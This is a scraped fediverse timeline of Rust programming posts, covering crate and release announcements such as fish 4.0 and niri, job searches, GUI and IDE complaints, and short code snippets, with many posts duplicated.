A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, four narrow slits are visible, perpendicular to the hole. A bunch of colorful wires come out of the slits, ziptied near the bottom and going back up and right into a Teensy printed circuit board attached to the cardboard. A USB cable extends out of the PCB. Two thin black metal stripes are also visible arranged vertically, with small screw heads visible over them. The whole assembly rests on a cutting board.
ALT text

A cardboard rectangle with a narrow rectangular hole on its left side. To the right of the hole, four narrow slits are visible, perpendicular to the hole. A bunch of colorful wires come out of the slits, ziptied near the bottom and going back up and right into a Teensy printed circuit board attached to the cardboard. A USB cable extends out of the PCB. Two thin black metal stripes are also visible arranged vertically, with small screw heads visible over them. The whole assembly rests on a cutting board.

@sminez@hachyderm.io · Reply to Sminez :ferris:

OK, I'm getting close to caving and publishing github.com/sminez/crimes as an actual crate if I can round out the documentation and test suite...

Things that have changed my mind:
1. docs.rs/genawaiter/latest/gena is already a thing, using a somewhat similar approach? But it looks like its abandoned and makes use of proc macros. Either way, it looks like there's prior art in this space and I _think_ what I've got is a little neater? Not sure about performance yet though.
2. The more I add QOL methods and helpers to this, the more it feels like an actual nice API(!)
3. Now I _really_ want to use it inside of ad and see what sorts of mischief I can get up to 😈

All that said, I think I'll write a follow up to sminez.dev/socrates-is-a-state first to try and encourage people to take a look at the design and tear me a new one when they find issues in it.

If that goes reasonably well, then please direct your "why have you done this?!" complaints to @oac as he's the one encouraging me 😅

@fasterthanlime not sure if you pay attention to mentions, but given that this was inspired by your recent article I'd like to give you credit (/ hold you partly responsible depending on your point of view!)

sminez.dev

sminez.dev

@sminez@hachyderm.io · Reply to Sminez :ferris:

OK, I'm getting close to caving and publishing github.com/sminez/crimes as an actual crate if I can round out the documentation and test suite...

Things that have changed my mind:
1. docs.rs/genawaiter/latest/gena is already a thing, using a somewhat similar approach? But it looks like its abandoned and makes use of proc macros. Either way, it looks like there's prior art in this space and I _think_ what I've got is a little neater? Not sure about performance yet though.
2. The more I add QOL methods and helpers to this, the more it feels like an actual nice API(!)
3. Now I _really_ want to use it inside of ad and see what sorts of mischief I can get up to 😈

All that said, I think I'll write a follow up to sminez.dev/socrates-is-a-state first to try and encourage people to take a look at the design and tear me a new one when they find issues in it.

If that goes reasonably well, then please direct your "why have you done this?!" complaints to @oac as he's the one encouraging me 😅

@fasterthanlime not sure if you pay attention to mentions, but given that this was inspired by your recent article I'd like to give you credit (/ hold you partly responsible depending on your point of view!)

sminez.dev

sminez.dev

@zkat@toot.cat

Rust is good because it’s a language whose compiler enforces the invariant that the only program with no bugs is a program with no lines of code, and so the only safe program is the empty program and I think that’s beautiful 🦀🦀🦀

From: @mcc
mastodon.social/@mcc/114091051

mastodon.social

mcc (@mcc@mastodon.social)

Me: *Writes a line of code* Me: *Remembers that writing code is not allowed in Rust* Me: *Deletes line of code*

@hopland@snabelen.no · Reply to Thor A. Hopland

The Blink engine is being used in a lot of places. If I'm not mistaken this is also the engine used in .

WebKit in itself can be found everywhere in the open source world, but it is also maintained by .

But what about ? The former Mozilla project turned project based on . There is no Servo web browser in the wild so far, that I know of.

But in essence, thems the only 3:
1. Blink
2. WebKit
3. Servo
4. Gecko (but... )

@hopland@snabelen.no · Reply to Thor A. Hopland

The Blink engine is being used in a lot of places. If I'm not mistaken this is also the engine used in .

WebKit in itself can be found everywhere in the open source world, but it is also maintained by .

But what about ? The former Mozilla project turned project based on . There is no Servo web browser in the wild so far, that I know of.

But in essence, thems the only 3:
1. Blink
2. WebKit
3. Servo
4. Gecko (but... )

@zanchey@aus.social · Reply to David Adam

rewrite-it-in progress, 2025-02-27

76776 / 76776 C++ lines removed
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 100%

--

We pushed out a beta a couple of months ago, but we finally sorted the full release!

github.com/fish-shell/fish-she

It should be in your favourite package manager reasonably soon.

Release fish 4.0.0 (released February 27, 2025) · fish-shell/fish-shell

fish’s core code has been ported from C++ to Rust (#9512). This means a large change in dependencies and how to build fish. However, there should be no direct impact on users. Packagers should see ...

@zanchey@aus.social · Reply to David Adam

rewrite-it-in progress, 2025-02-27

76776 / 76776 C++ lines removed
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 100%

--

We pushed out a beta a couple of months ago, but we finally sorted the full release!

github.com/fish-shell/fish-she

It should be in your favourite package manager reasonably soon.

Release fish 4.0.0 (released February 27, 2025) · fish-shell/fish-shell

fish’s core code has been ported from C++ to Rust (#9512). This means a large change in dependencies and how to build fish. However, there should be no direct impact on users. Packagers should see ...

@kernellogger@fosstodon.org
@kernellogger@fosstodon.org
@heiseonlineenglish@social.heise.de
@jhpratt@mastodon.social

Apparently rand 0.9 ripped out the implementations for isize and usize on some platforms. Very unexpected and a pain to deal with for libraries (particularly for macro-generated code).

@farcaller@hdev.im

The recent issue with matrix signing keys (hdev.im/@farcaller/11404392883) got me thinking why I don’t like rust (in which conduit is written). is very hard to reason with at glance.

If you don’t have an LSP at hand, you can only vaguely figure out which types are where. It's pretty much impossible to go from a method call to its implementation by name alone. The code is messy with various symbols and evokes the feelings of dread^W perl.

Compare that with go. The code is arguably full of boilerplate, but it's an easy to read boilerplate. I got asked about kube-controller-manager recently and I just went to k8s sources, found the init loops and reasoned with what KCM does within minutes.

Every time I need to touch the lemmy source code I feel like finding ways to aviod it. Sure rust has its benefits, it's fast and efficient and so hard to just read.

hdev.im

farcaller (@farcaller@hdev.im)

#Matrix is unbelievably cursed. What happens if you lost your signing keys? It seems that you can just abandon the domain name forever, given that other servers won't ever be able to federate properly with it. And conduit is even worse. How do you rotate the signing key? Who cares. How do you backup it? Oh, just back up the whole DB. Edit: got asked about context. Here's context for synapse: https://element-hq.github.io/synapse/latest/usage/administration/admin_faq.html#i-have-a-problem-with-my-server-can-i-just-delete-my-database-and-start-again. Conduit stores the server keys inside rocksdb and it's seemingly impossible to extract them without the low level db debugging tools. And there's no rotation in there as far as I could search through the source code.

@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

Today I'm releasing niri v25.02 with tabs, shadows, DnD view scrolling, and a ton of other improvements! Read the release notes at github.com/YaLTeR/niri/release and @ your distro to update the package. :ablobcatbongo:

[[honestly wtf how did so much stuff happen, it's been barely over a month]]

Showcasing several features in the niri v25.02.
ALT text

Showcasing several features in the niri v25.02.

@thomastc@mastodon.gamedev.place · Reply to Glyph

@glyph I wrote some generic code in to convert multi-GB XML files into Parquet without having to load the entire thing into RAM. Derive macros feel like magic once you get the hang of them.

The definitions of the (nearly 100) data object structures in the XML are now pleasingly boilerplate-free:

#[derive(FromXml, ToArrow)]
struct MyObj {
#[from_xml(element = "my-data")]
data: String,
}

With some cleanup it might even be worth open sourcing, if anyone else has a use for it.

@thomastc@mastodon.gamedev.place · Reply to Glyph

@glyph I wrote some generic code in to convert multi-GB XML files into Parquet without having to load the entire thing into RAM. Derive macros feel like magic once you get the hang of them.

The definitions of the (nearly 100) data object structures in the XML are now pleasingly boilerplate-free:

#[derive(FromXml, ToArrow)]
struct MyObj {
#[from_xml(element = "my-data")]
data: String,
}

With some cleanup it might even be worth open sourcing, if anyone else has a use for it.

@pmidden@fosstodon.org

This is what the book (and I guess most Rust documentation, since the Rust book was generated using the same tool) looks like in ' integrated browser, "eww". A bit concerning when you consider that these are static pages of mostly text-based information - why doesn't it look more accessible?

Screenshot of emacs in eww showing a web page, missing crucial navigational elements like "forward" and "backward" or a chapter selection
ALT text

Screenshot of emacs in eww showing a web page, missing crucial navigational elements like "forward" and "backward" or a chapter selection

@zkat@toot.cat

Dear folks: What are a variety of ways to pass down context in a structured matter through your function calls?

Thread-friendly, stack based, extensible/unwinding, even struct-based ideas are all welcome. I can think of a few but I wanna know of any I’m missing!

Think, for example, deciding what stream a logger will write do based on the context it’s called, and being able to override it for subcalls.

@dystroy@mastodon.dystroy.org

Guess which crate is used mostly at work and which one is also used on side projects.

The download stats of two crates: bacon and lazy-regex. The one of lazy-regex differs by having almost no downloads on week-ends.
ALT text

The download stats of two crates: bacon and lazy-regex. The one of lazy-regex differs by having almost no downloads on week-ends.

@pmidden@fosstodon.org

I should learn and use . I could use it for work projects, and it would fit neatly, with being safe, fast, and easily installable/deployable.

But it somehow doesn't "tickle" me. I keep coming back to these (comparatively) more exotic languages like . Not sure why, but I think it offers more learning experiences, possibly more rigidity?

@benjistokman@mast.benstokman.me

People will keep using C/C++ until other languages stop pulling shit like this...

Rust complaining that I made my variable names prettier
ALT text

Rust complaining that I made my variable names prettier

@leo@raru.re

People: Rust is a stable language that takes backwards-compatibility very seriously.

Rust: This code compiles on 1.81 and fails to compile on 1.82.

godbolt.org/z/9GbbMKjcf

At least Python doesn't pretend to be backwards-compatible when they break things.

godbolt.org

Compiler Explorer - Rust (rustc 1.81.0)

trait OptionExt { fn is_none_or(&amp;self) { println!("Hello, world!"); } } impl&lt;T&gt; OptionExt for Option&lt;T&gt; {} fn main() { None::&lt;()&gt;.is_none_or(); }

@obrhoff@chaos.social
@obrhoff@chaos.social
@tarajdactyl@anarres.family

dear experienced of the fediverse - if you are interested in a remote job with a good supportive company (defensive cybersecurity, not web3 bs), hmu, there may be an opportunity on my team very soon!!!

i don't know yet the level, but i reckon it's going to be senior+. but it's good work with a good team and I'd love more women and/or queers in general on the team with me 😁😁😁

always hearing about how trans people love , and yet I'm the only trans rust dev here, what's up with that?

@tarajdactyl@anarres.family

dear experienced of the fediverse - if you are interested in a remote job with a good supportive company (defensive cybersecurity, not web3 bs), hmu, there may be an opportunity on my team very soon!!!

i don't know yet the level, but i reckon it's going to be senior+. but it's good work with a good team and I'd love more women and/or queers in general on the team with me 😁😁😁

always hearing about how trans people love , and yet I'm the only trans rust dev here, what's up with that?

@jani@fosstodon.org

newbie questions:

Do you generally try to find existing crates for everything for maximum reuse? When do you resort to (re)writing routines yourself?

How do you assess the trustworthiness of a crate? For example, I check if cargo itself depends on it, must be fairly reliable if it does. Better tips?

For example, in Python I try to stick to the extensive standard library, use pypi dependencies conservatively, and choose them carefully.

@thelinuxEXP@mastodon.social

Sendme
– from @n0iroh

File transfer doesn't need to be complicated. It's like scp without needing to know the IP address. Add some files to sendme, and it will give you a pastable ticket that you can give to anyone who needs your files. Sendme will connect your devices directly & transfer the data without any accounts or configuration.

📨 iroh.computer/sendme

iroh.computer

iroh

less net work for networks

I'm currently looking for a remote software development job

I have plenty of experience making software using all sorts of languages, frameworks and tools. Tho I have the most experience with Rust, C++, C#. I also usually do native cross platform applications and backend.

You can find my full CV on my website
https://luna.graphics

luna.graphics

Luna's website

I'm currently looking for a remote software development job

I have plenty of experience making software using all sorts of languages, frameworks and tools. Tho I have the most experience with Rust, C++, C#. I also usually do native cross platform applications and backend.

You can find my full CV on my website
https://luna.graphics

luna.graphics

Luna's website

@cuchaz@gladtech.social

Howdy / folks!

I'm starting to dip my toe into desktop GUI work again. The last time I tried this, the best option was GTK bindings for Rust. Actually shipping an app doing that was ... an exercise left for the reader. I did eventually get something to work, but it was a big pain.

Nowadays, it looks like we have better options. I've looked at a bunch of different offerings already, which I'll briefly describe below, but is there anything I'm missing?

The clear front runner for me at the moment is Tauri. It has most of the power of the web as a UI, including robust support for accessibility. :blobcatthumbsup:

Among the other serious contenders I looked at was Iced, which looks pretty promising, but accessibility support (via accesskit) has been on the roadmap for ... a couple years now? Who knows when that will ever be usable.

I'm also aware of Slint. It looks like it's mostly designed for embedded applications though, which mine is very not.

Other options I've seen look like they're not quite ready for primetime yet. Having good accessibility support in the UI system itself seems like a good differentiator between projects I could actually use for this, and projects that are currently in an unserious phase.

What's everyone else's experiences in Rust GUI-land?

@thunderbird@mastodon.online

We've got some exciting job openings at ! We're hiring for a Sr. UX Design Specialist, A /C++ Software Engineer for the desktop app, and......a Senior Engineer to join our mobile team to help us bring Thunderbird to your iPhone and iPad!

Help us spread the word!

mozilla.org/careers/listings/?

mozilla.org

Mozilla Careers — All open positions at Mozilla

We have a mighty mandate, serving hundreds of millions of people. Add a culture of exploration, and there is always a new way to learn and grow here.

@thunderbird@mastodon.online

We've got some exciting job openings at ! We're hiring for a Sr. UX Design Specialist, A /C++ Software Engineer for the desktop app, and......a Senior Engineer to join our mobile team to help us bring Thunderbird to your iPhone and iPad!

Help us spread the word!

mozilla.org/careers/listings/?

mozilla.org

Mozilla Careers — All open positions at Mozilla

We have a mighty mandate, serving hundreds of millions of people. Add a culture of exploration, and there is always a new way to learn and grow here.

@thunderbird@mastodon.online

We've got some exciting job openings at ! We're hiring for a Sr. UX Design Specialist, A /C++ Software Engineer for the desktop app, and......a Senior Engineer to join our mobile team to help us bring Thunderbird to your iPhone and iPad!

Help us spread the word!

mozilla.org/careers/listings/?

mozilla.org

Mozilla Careers — All open positions at Mozilla

We have a mighty mandate, serving hundreds of millions of people. Add a culture of exploration, and there is always a new way to learn and grow here.

@epilys@chaos.social

The e-mail client meli is getting more rigorous and serious testing!

I have implemented a mock IMAP server from scratch using the wonderful `imap-codec` crate (thanks @duesee ), and a mock JMAP server using only JMAP bindings from meli itself. Hopefully we will be able to re-use this code to test many scenarios where meli must react to server changes and behavior correctly.

(1/5)

-mail

Screenshot of a terminal email client, with a text user interface (TUI) called "meli"
ALT text

Screenshot of a terminal email client, with a text user interface (TUI) called "meli"

@panic_at_the_kernel@mastodon.social
@panic_at_the_kernel@mastodon.social
@kernellogger@fosstodon.org

🥳 "'We are almost at the "write a real driver in " stage now, depending on what you want to do."' 🥳

That's what @gregkh wrote in the comment for the main driver core and debugfs updates merged for 6.14, as it contained "driver core rust bindings for PCI, platform, OF, and some i/o functions"; there is also a "misc device rust bindings and a sample driver to show how to use them":

git.kernel.org/torvalds/c/2ab0

@treefit@fosstodon.org
@kernellogger@fosstodon.org

🥳 "'We are almost at the "write a real driver in " stage now, depending on what you want to do."' 🥳

That's what @gregkh wrote in the comment for the main driver core and debugfs updates merged for 6.14, as it contained "driver core rust bindings for PCI, platform, OF, and some i/o functions"; there is also a "misc device rust bindings and a sample driver to show how to use them":

git.kernel.org/torvalds/c/2ab0

@treefit@fosstodon.org
@qiita@rss-mstdn.studiofreesia.com
@jleigh@recurse.social

Hey all! I'm due for an (re-)introduction: I'm Jack, an engineer in the NYC area from a firmware & cybersecurity background, currently working in something like hardware-software co-design.

Technical work is often with , and in all-too-rare moments stuff like and

I've never been much for social media, usually preferring to keep interests local: a better-detailed to follow as I figure this out 🙂

@sc0v0ne@mastodon.social
@sc0v0ne@mastodon.social
@sc0v0ne@mastodon.social
@sc0v0ne@mastodon.social
@jonn@social.doma.dev

I think I've just bombed an interview where I've been expected to produce a data model for a famous toy problem and 3LoC / minute.

I have some options lined up, but I would like to get more into the pipeline. Can hashtag help me find a engineer position? 👀

P.S.
I can't reasonably toot it without plugging .io for technical skill assessment. It's like in a different universe from normal hiring practices in IT.

zerohr.io

zerohr.io

∅hr: Tech hiring. Streamlined.

∅hr is a platform that streamlines tech hiring.

@sorairolake@misskey.io

Rust 1.84で安定化されたMSRVを考慮するリゾルバ(MSRV-aware resolver)について書きました
Rust 1.84からRustの最小バージョンを考慮した依存関係の解決ができるようになった|SorairoLake
https://zenn.dev/sorairolake/articles/introduce-msrv-aware-resolver

zenn.dev

Rust 1.84からRustの最小バージョンを考慮した依存関係の解決ができるようになった

@jonn@social.doma.dev

I think I've just bombed an interview where I've been expected to produce a data model for a famous toy problem and 3LoC / minute.

I have some options lined up, but I would like to get more into the pipeline. Can hashtag help me find a engineer position? 👀

P.S.
I can't reasonably toot it without plugging .io for technical skill assessment. It's like in a different universe from normal hiring practices in IT.

zerohr.io

zerohr.io

∅hr: Tech hiring. Streamlined.

∅hr is a platform that streamlines tech hiring.

@jonn@social.doma.dev

I remember times when I legit couldn't write a bfs in , but I don't remember why.

```
pub fn bfs(&self, i: usize) -> Result<Vec<usize>> {
if self.adj[i].0.is_none() {
anyhow::bail!(format!("Tried to start bfs from {} but there is no vertex there.", &i));
}
let mut queue = VecDeque::new();
queue.push_back(i);
let mut result = vec![];
let mut visited = vec![false; self.adj.len()];
while let Some(v) = queue.pop_front() {
if visited[v] {
continue;
}
for (x, _) in &self.adj[v].1 {
queue.push_back(*x);
}
result.push(v);
visited[v] = true;
}
Ok(result.clone())
}
```

@yossarian@infosec.exchange

i've released `zizmor` v1.2.0!

some key changes:

- there's a new `bot-conditions` audit, which can detect spoofable `github.actor` checks!
- precision/accuracy improvements to the `unpinned-uses` and `excessive-permissions` audits!
- bugfixes for the `template-injection` and `artipacked` audits!
- more general bugfixes, including a (hopeful) improvement to the SARIF output behavior and fixes to our parsing of some workflow/expression edge cases

and from a sustainability perspective: many thanks to astral.sh/ for being our first logo-level sponsor!

full release notes here:

woodruffw.github.io/zizmor/rel

a screenshot of zizmor with findings from the new bot-conditions audit
ALT text

a screenshot of zizmor with findings from the new bot-conditions audit

@modulux@node.isonomia.net

Spent the last 6 hours trying to get a hello world equivalent gui window with a button on rust under windows.

This task which one might think is simple ended up taking literal hours and still hasn't been achieved because: the tutorials for gtk on windows and rust suggest putting msys2 bin directory on the path. This causes rust to fail to build correctly because it uses the wrong gcc and linkers.
Afterwards I managed it by using the appropriate environment variables.
But then I found out the dynamically linked libarries weren't found. I tried getting a way to copy them but it turned out to be too much work so I just moved the executable to the same dir.
Only to find out that gtk4 has no accessibility on Windows. Not bad accessibility, not accessibility that needs to be turned on. No. Accessibility. At all.
So then I decided to try Qt, which wants me to create an account to get an installer. Absolute no.
Got the 1.5gb sources and trying now to get an off-line installer out of it.

To get a fucking window with a button in it.

I don't think it's unreasonable for me to say this state of affairs is complete bullshit, and that most people with a normal level of motivation would have found plenty of opportunities to have given up. I still might.

(Not using NWG because tying the data to the GUI elements is non-trivial, it seems to require copying a lot and using twice the memory.)

#a11y #rust #gui #windows

@yossarian@infosec.exchange

i've released `zizmor` v1.2.0!

some key changes:

- there's a new `bot-conditions` audit, which can detect spoofable `github.actor` checks!
- precision/accuracy improvements to the `unpinned-uses` and `excessive-permissions` audits!
- bugfixes for the `template-injection` and `artipacked` audits!
- more general bugfixes, including a (hopeful) improvement to the SARIF output behavior and fixes to our parsing of some workflow/expression edge cases

and from a sustainability perspective: many thanks to astral.sh/ for being our first logo-level sponsor!

full release notes here:

woodruffw.github.io/zizmor/rel

a screenshot of zizmor with findings from the new bot-conditions audit
ALT text

a screenshot of zizmor with findings from the new bot-conditions audit

@darkghosthunter@mastodon.social

Things I learned last year:

- PHP and JavaScript for web applications
- Python for AI and Machine Learning
- Rust for very performant software
- Go for networking software
- Vala for GNOME apps
- C is still relevant as long you keep it simple
- C++ is slowly becoming the FORTRAN of our age.

@qiita@rss-mstdn.studiofreesia.com
@seri@hachyderm.io

Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬

If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!

- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers

Boosts appreciated, thank you!

@seri@hachyderm.io

Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬

If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!

- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers

Boosts appreciated, thank you!

@seri@hachyderm.io

Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬

If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!

- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers

Boosts appreciated, thank you!

@seri@hachyderm.io

Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬

If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!

- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers

Boosts appreciated, thank you!

@jhpratt@mastodon.social

Worked on optimizations with great results; some methods in the time crate are twice as fast!

- Month::length
- is_leap_year
- weeks_in_year
- Date::to_calendar_date
- Date::month

The first two algorithms hadn't been published when I originally wrote the code, The last two I conjured myself using a similar technique.

It took a fair amount of fiddling to get it to optimize just right, as seemingly inconsequential changes had nontrivial impact on speed.

@seri@hachyderm.io

Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬

If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!

- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers

Boosts appreciated, thank you!

@seri@hachyderm.io

Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬

If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!

- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers

Boosts appreciated, thank you!

@seri@hachyderm.io

Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬

If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!

- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers

Boosts appreciated, thank you!

@seri@hachyderm.io

Sooo, my employer decided to move all engineering to Taiwan, and laid off my entire team among everyone else affected. 😬

If you or someone you know is looking for a senior engineer, tech lead, or similar, and your requirements tick some of these boxes, please feel free to send me a message or DM!

- Rust since 2017, professionally since 2021
- USB, WinAPI, C interop, kernel-mode drivers
- Long-running, async applications
- Reverse engineering, legacy systems
- Embedded (RP2040 projects)
- napi/node integration
- wgpu, WGSL
- living in Germany, remote preferred
- mentoring Rust newcomers

Boosts appreciated, thank you!

«Funktionale Sprachelemente: Iteratoren und Funktionsabschlüsse (closures)»

Heute nehme ich mir die Zeit um mich mit 'Funktionale Programmierung' in Rust auseinander zu setzen. Ich hatte mich darüber schon informiert aber mich nie damit auseinander gesetzt. Plump gesagt, es ist "moderner" als objektorientiertes Programmieren und Rust unterstützt es.

🦀 rust-lang-de.github.io/rustboo
🧑‍💻 de.wikipedia.org/wiki/Funktion

de.wikipedia.org

Funktionale Programmierung – Wikipedia

@kasdeya@cryptid.cafe

one thing about #Rust that I wish people would emphasize to programmers who are interested in learning it is: you absolutely need an IDE - and need to know how to use its features well - in order to learn Rust

because here’s the thing. for every single variable, argument, return value, etc. in Rust, you have to keep all of the following in mind:

  • lifetimes
  • mutability
  • monads
  • references
  • ownership
  • sometimes trait bounds
  • probably even more stuff that I’m not thinking about right now

and in my experience this is an impossible amount of cognitive load, even for very simple programs, unless you have an IDE to help you with it - by E.G. showing you a function’s signature as you’re supplying it with arguments, and giving you inlay type hints to keep track of the nuances of each variable

and because of this huge jump in complexity compared to most languages, that means you have tons of methods that all do almost the same thing, but with some Rust-specific nuances to keep in mind. like consider the difference between .iter(), .iter_mut() and .into_iter(). in most other languages, these would all be the same method, because most other languages don’t have a concept of “returning an immutable value” or “returning an owned value”

but of course an IDE will let you just type .iter and show you every method that has iter in the name, which tells you which options are available to you and helps a lot with considering what you want

also, the Rust compiler is incredibly picky. (which is a good thing! kinda). without an IDE it will feel like rustc is expecting you to keep track of every single detail of every single variable at all times (again, impossible cognitive load) and is just waiting for you to make a mistake. sometimes it’s not even clear what it wants from you

after a while of trying to use Rust without an IDE I ended up creating superstitions around the Rust compiler. “trying to pass information between threads has angered the gods. nothing seems to calm their ire. this will be a single-threaded program to appease them”

but if you get live feedback from your IDE, in real-time as you’re typing your code, it’s much easier to build an intuition around what Rust expects from you and what will make it angry

so yeah don’t try to use Rust if you don’t have an IDE, or you don’t know all of your IDE’s features yet. you will go insane

cryptid.cafe

Akkoma

@kasdeya@cryptid.cafe

one thing about #Rust that I wish people would emphasize to programmers who are interested in learning it is: you absolutely need an IDE - and need to know how to use its features well - in order to learn Rust

because here’s the thing. for every single variable, argument, return value, etc. in Rust, you have to keep all of the following in mind:

  • lifetimes
  • mutability
  • monads
  • references
  • ownership
  • sometimes trait bounds
  • probably even more stuff that I’m not thinking about right now

and in my experience this is an impossible amount of cognitive load, even for very simple programs, unless you have an IDE to help you with it - by E.G. showing you a function’s signature as you’re supplying it with arguments, and giving you inlay type hints to keep track of the nuances of each variable

and because of this huge jump in complexity compared to most languages, that means you have tons of methods that all do almost the same thing, but with some Rust-specific nuances to keep in mind. like consider the difference between .iter(), .iter_mut() and .into_iter(). in most other languages, these would all be the same method, because most other languages don’t have a concept of “returning an immutable value” or “returning an owned value”

but of course an IDE will let you just type .iter and show you every method that has iter in the name, which tells you which options are available to you and helps a lot with considering what you want

also, the Rust compiler is incredibly picky. (which is a good thing! kinda). without an IDE it will feel like rustc is expecting you to keep track of every single detail of every single variable at all times (again, impossible cognitive load) and is just waiting for you to make a mistake. sometimes it’s not even clear what it wants from you

after a while of trying to use Rust without an IDE I ended up creating superstitions around the Rust compiler. “trying to pass information between threads has angered the gods. nothing seems to calm their ire. this will be a single-threaded program to appease them”

but if you get live feedback from your IDE, in real-time as you’re typing your code, it’s much easier to build an intuition around what Rust expects from you and what will make it angry

so yeah don’t try to use Rust if you don’t have an IDE, or you don’t know all of your IDE’s features yet. you will go insane

cryptid.cafe

Akkoma

@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

After a full day of writing release notes (god how'd it take so long 😫), niri v25.01 is out with Floating Windows and Working Layer-Shell Desktop Icons and Layer-Shell Screencast Blocking Out and so many more improvements! Yes, you read that right, we finally escaped zerover! I feel that niri is now ready to graduate from v0.1 :ablobcatbongo:

Read here and download when your distribution package updates: github.com/YaLTeR/niri/release

Showcasing auto-floating dialogs and windows in niri.
ALT text

Showcasing auto-floating dialogs and windows in niri.

A few windows side-by-side in niri, including a floating dialog and a Steam.
ALT text

A few windows side-by-side in niri, including a floating dialog and a Steam.

Notification visible on the screenshot, but replaced with a solid black rectangle inside OBS screen capture.
ALT text

Notification visible on the screenshot, but replaced with a solid black rectangle inside OBS screen capture.

@athoune@mastodon.xyz

Avis aux pythonistes en herbe, voici une initiation à , framework pour créer des jeux à l'ancienne, comme sur la SNS ou la Gameboy Color.

Un éditeur de média est fourni.

Le moteur en assure la fluidité, et l'API python est minimaliste.

Les jeux tourneront sur Linux/Mac/Windows et même dans un navigateur web, avec

blog.garambrogne.net/pyxel-ini

blog.garambrogne.net

Initiation à la création de jeu rétro avec Pyxel

Le framework Rust, Pyxel, permet de créer des jeux rétro en Python. Initiation et prise en main.

@tecoholic@social.arunmozhi.in

Reading the chapter on enums... oh! god. What have you done to that word enum? My Python brain is blown to bits. I am used to counting things with enumerate and maybe define some specific integers with the Enum class. But Rust takes it to a whole different level. Phew...

@lambdageek@mastodon.social

Why is MSRV a thing? What are the scenarios where someone might stay on an old toolchain and not bump to the latest stable rust? Naively I expected language editions to solve problems that would prevent always using the latest stable.

@zkat@toot.cat

So someone showed me some screenshots of a testing setup they had with kdl-ts + miette recently and it looked amazing. Semantic, readable, relevant errors on the test site, really nice declarative test definitions, and zero compile time because it’s not just a bunch of proc macros.

Maybe it’s worth making a library for doing that? 🤔

@Lehmanator@fosstodon.org

@dansup @vidzy hmm I've been learning & want to start a project I can list on my resume before applying to Rust jobs.
Was thinking a / client would be perfect. Was leaning toward since the backend is also Rust, but the UI for that would be more complex & is daunting for my zero exp w/ UI (outside of React)

would probably need a lot less UI complexity, so maybe I'll make that instead.

@0x2a@hachyderm.io

Initial Release of heretek: Yet Another GDB TUI Frontend 🎊

* **No gdbserver requirements**: Many vendors ship invalid `gdbserver` binaries, this works on remote targets with just `gdb`, `nc`, `cat`, and `mkfifo`.
* **No python requirements**: Many vendors ship `gdb` without python support.
* **Architecture agnostic**: `heretek` only uses information given by `gdb`, no extra code required!

github.com/wcampbell0x2a/heret

Terminal User Interface of Register, Stack, and current instructions of a program under introspection. Mixes of red,green,red show the differing parts of the values, as each register and stack variable is de-referenced to ease reverse engineering process.
ALT text

Terminal User Interface of Register, Stack, and current instructions of a program under introspection. Mixes of red,green,red show the differing parts of the values, as each register and stack variable is de-referenced to ease reverse engineering process.

@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@sushee@fosstodon.org

just read this article about and and looked at the code. atm I'm leaning strongly towards zig because it is so much easier to read and so far MUCH easier to learn.

alternatively I'm going down another round of "fine. then I'll look at nothing newer than the mid 80ies"

@sushee@fosstodon.org

just read this article about and and looked at the code. atm I'm leaning strongly towards zig because it is so much easier to read and so far MUCH easier to learn.

alternatively I'm going down another round of "fine. then I'll look at nothing newer than the mid 80ies"

@kdwarn@fosstodon.org

